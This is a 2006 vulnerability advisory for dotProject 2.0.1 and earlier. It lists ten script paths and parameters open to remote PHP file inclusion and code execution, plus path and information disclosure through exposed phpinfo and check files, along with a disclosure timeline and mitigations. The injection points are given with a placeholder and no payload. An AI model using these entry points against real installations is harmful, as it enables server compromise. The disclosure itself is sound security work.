dotproject <= 2.0.1 remote code execution
======================================
Software: dotProject <= 2.0.1
Severity: Arbitrary code execution, Path/Information Disclosure
Risk: High
Author: Robin Verton <r.verton (at) gmail (dot) com [email concealed]>
Date: Feb. 14 2006
Vendor: dotproject.net [contacted]
Description:
dotProject is a volunteer supported Project Management application.
Details:
The 'protection.php' script does not properly validate user-supplied input in the 'siteurl' parameter.
Some user-supplied input is not checked correctly so an attacker can include a remote php file and
execute arbitrary phpcode or arbitrary system command via eval().
Because there are over 10 Bugs I only post the vulnerable files + parameters which are not checked.
To exploit these vulnerables register_globals have to be set ON (default).
1) /includes/db_adodb.php?baseDir=[REMOTE INCLUDE]
2) /includes/db_connect.php?baseDir=[REMOTE INCLUDE]
3) /includes/session.php?baseDir=[REMOTE INCLUDE]
4) /modules/projects/gantt.php?dPconfig[root_dir]=[REMOTE INCLUDE]
5) /modules/projects/gantt2.php?dPconfig[root_dir]=[REMOTE INCLUDE]
6) /modules/projects/vw_files.php?dPconfig[root_dir]=[REMOTE INCLUDE]
7) /modules/admin/vw_usr_roles.php?baseDir=[REMOTE INCLUDE]
8) /modules/public/calendar.php?baseDir=[REMOTE INCLUDE]
9) /modules/public/date_format.php?baseDir=[REMOTE INCLUDE]
10) /modules/tasks/gantt.php?baseDir=[REMOTE INCLUDE]
There are also some path discolsure bugs:
Nearly ALL files in /db/ give out some nice php-errors by accessing them directly with the parameter
baseDir=foobar.
Then, if the /doc/ directory is not deleted (default) you can access to two varoius files which
disclose you some system informations:
1) /docs/phpinfo.php - A phpinfo() file.
2) /docs/check.php - Some more informations about the installed dotProject.
Solution:
Turn register_globals OFF, delete the /docs/ dir and cover /db/ dir with an htaccess.
Timeline:
24.01.2006 - Bugs found
26.01.2006 - Vendor Contacted
14.02.2006 - Publishing
Credits:
Credits go to Robin Verton (r.verton [at] gmail [dot] com)
